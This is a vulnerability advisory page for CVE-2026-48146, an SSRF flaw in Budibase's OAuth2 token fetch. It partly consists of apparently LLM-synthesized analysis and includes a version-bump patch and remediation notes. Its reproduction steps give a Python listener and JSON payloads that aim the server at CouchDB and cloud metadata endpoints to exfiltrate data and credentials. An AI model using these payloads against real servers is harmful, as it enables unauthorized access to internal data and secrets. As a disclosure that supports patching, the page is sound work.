CVE-2026-48146
Description
Budibase is an open-source low-code platform. Prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint. A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data. This vulnerability is fixed in 3.39.0.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Budibase before 3.39.0 lacks SSRF protection in the OAuth2 token fetch, allowing BUILDER users to exfiltrate internal service data.
Vulnerability
In Budibase versions prior to 3.39.0, the OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no Server-Side Request Forgery (SSRF) protection. The safe wrapper fetchWithBlacklist(), which checks URLs against internal IP blacklists, exists in the same codebase and is used for all other outbound HTTP calls (automation webhooks, plugin downloads, object store tarballs), but was unintentionally omitted from the OAuth2 token endpoint [1].
Exploitation
A user with the BUILDER role can configure an OAuth2 integration and set the token URL to point at internal services (e.g., CouchDB, cloud metadata endpoints). The attacker does not need network access to internal hosts; the vulnerable server fetches the attacker-controlled URL on their behalf. When the OAuth2 token fetch is triggered, the server follows the URL without blacklist validation, and the internal service's response is returned to the attacker [1].
Impact
Successful exploitation results in exfiltration of sensitive data from internal services that the Budibase server can reach (such as CouchDB databases, cloud instance metadata, or other internal HTTP endpoints). The attacker gains unauthorized read access to these resources, which may include credentials, application data, or cloud infrastructure secrets [1].
Mitigation
The vulnerability is fixed in Budibase version 3.39.0. Users should upgrade to this version or later. No workaround is available; the fix applies the existing fetchWithBlacklist() wrapper to the OAuth2 token fetch function [1].
AI Insight generated on May 27, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2Patches
1feab9955aeb5Bump version to 3.39.0
1 file changed · +1 −1
lerna.json+1 −1 modified@@ -1,6 +1,6 @@ { "$schema": "node_modules/lerna/schemas/lerna-schema.json", - "version": "3.38.5", + "version": "3.39.0", "npmClient": "yarn", "concurrency": 20, "command": {
Vulnerability mechanics
Root cause
"Missing SSRF protection — the OAuth2 token fetch function uses raw `fetch()` instead of the existing `fetchWithBlacklist()` wrapper, allowing server-side requests to internal/private IPs."
Attack vector
An attacker with BUILDER role sends a POST request to `/api/oauth2/validate` with a crafted JSON body containing a `url` pointing to an internal service (e.g., `http://127.0.0.1:5984/_all_dbs` for CouchDB, or `http://169.254.169.254/latest/meta-data/` for cloud metadata) [ref_id=1]. The server calls `fetch(config.url)` with no blacklist check, causing the server to make an outbound HTTP request to the attacker-specified internal target [ref_id=1]. The OAuth2 `client_id` and `client_secret` are sent as HTTP Basic auth credentials in the request, enabling credential leakage to attacker-controlled URLs [ref_id=1]. A secondary vector uses the REST integration: an attacker provides an external URL that 302-redirects to an internal IP, bypassing the single blacklist check because redirect targets are not re-validated [ref_id=1].
Affected code
The vulnerable function is `fetchToken()` in `packages/server/src/sdk/workspace/oauth2/utils.ts` at line 59, which calls raw `fetch(config.url)` without SSRF protection [ref_id=1]. The safe wrapper `fetchWithBlacklist()` exists in `packages/backend-core/src/utils/outboundFetch.ts` and is used by every other outbound HTTP call (automation steps, plugin downloads, object store) but was never applied to the OAuth2 token endpoint [ref_id=1]. A secondary issue exists in `packages/server/src/integrations/rest.ts` where `blacklist.isBlacklisted(url)` is called only once on the initial URL, but `undici.fetch()` uses default `redirect: "follow"` without re-checking redirect targets [ref_id=1].
What the fix does
The patch [patch_id=2725531] only bumps the version from 3.38.5 to 3.39.0 in `lerna.json`; the actual code fix is described in the advisory's remediation guidance [ref_id=1]. The fix requires replacing `fetch(config.url, fetchConfig)` with `fetchWithBlacklist(config.url, fetchConfig)` in `packages/server/src/sdk/workspace/oauth2/utils.ts`, importing from `@budibase/backend-core/utils` [ref_id=1]. The safe wrapper calls `blacklist.isBlacklisted(url)` to block requests to internal/private IPs, uses `redirect: "manual"`, and re-checks every redirect target, closing both the direct SSRF and the redirect bypass [ref_id=1]. The advisory also recommends fixing the REST integration in `packages/server/src/integrations/rest.ts` to use `fetchWithBlacklist()` instead of raw `undici.fetch()` [ref_id=1].
Preconditions
- authAttacker must have BUILDER role on the Budibase instance
- networkAttacker must be able to reach the Budibase API endpoint /api/oauth2/validate over the network
- inputAttacker provides a crafted JSON payload with a url field pointing to an internal or attacker-controlled service
Reproduction
1. Start an SSRF listener on an attacker-controlled host: `python3 -c "import http.server; class H(http.server.BaseHTTPRequestHandler): def do_POST(self): length = int(self.headers.get('Content-Length', 0)); body = self.rfile.read(length); print(f'SSRF: {self.path} | Body: {body.decode()}'); self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers(); self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}'); http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()"` [ref_id=1]. 2. As a BUILDER, send a POST request to `/api/oauth2/validate` with `{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}` — the listener captures the POST body with credentials [ref_id=1]. 3. To probe internal services, send a POST to `/api/oauth2/validate` with `{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}` — a response of `{"valid":false,"message":"Unauthorized"}` confirms CouchDB is reachable [ref_id=1]. 4. For cloud metadata exfiltration, send `{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}` [ref_id=1].
Generated on May 27, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
1News mentions
0No linked articles in our index yet.